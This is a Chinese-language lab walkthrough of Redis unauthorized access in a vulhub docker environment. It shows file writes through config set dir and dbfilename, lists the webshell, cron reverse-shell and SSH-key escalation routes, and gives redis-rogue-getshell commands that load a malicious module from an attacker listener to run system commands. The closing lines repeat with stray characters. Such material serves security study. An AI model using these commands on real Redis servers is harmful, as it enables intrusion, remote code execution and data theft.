Redis 介绍:
Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。
Redis 数据库经常用于Web 应用的缓存。
Redis 可以与文件系统进行交互。
Redis 监听TCP/6379。
启动漏洞环境:
sudo docker-compose up -d
redis-cli -h 127.0.0.1 # redis数据库连接redis的客户端,127.0.0.1 表示连接本机
我们发现直接进来了,说明存在未授权访问漏洞。
info #查看服务器信息
redis 是以键值对的方式存储数据的:
set name GEHUi # name为键(key),GEHUI为值(value)
get name #获取name的值
condig set dir /tmp/ #设定目录
config set dbfilename gehui.txt #设定数据库文件名为gehui.txt
save #将数据库的内容存储在/tmp/gehui.txt中
sudo docker exec -it 780fea38003b /bin/bash #登录到redis容器中
在容器中查看有没有gehui.txt文件
我们查看到有gehui.txt文件,并且有我们写入的name和GEHUI,说明我们登录进redis数据库,能够读并且写文件,说明存在未授权访问漏洞。如果一个服务器开了redis数据库,那么就会造成数据库信息内容泄露(脱库)。
Redis 未授权访问
读取数据库内容 | 读写系统文件 | 执行系统命令 |
---|---|---|
数据泄露 | 直接写WebShell 计划任务反弹Shell SSH免密登录 … | redis-rogue-getshell |
克隆this script
脚本 到本地,下载时需要挂代理。
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git
如何使用:
cd /home/kali/tools/redis-rogue-getshell/RedisModulesSDK/
make
#执行id命令:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
#执行whoami命令
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
像上面这样我们就可以对未授权访问漏洞进行利用了。
如何验证这个未授权访问漏洞:
这里要用到一个工具:未授权访问漏洞验证工具
)]
像上面这样我们就可以对未授权访问漏洞进行利用了。
如何验证这个未授权访问漏洞:
这里推荐一个工具:未授权访问漏洞验证工具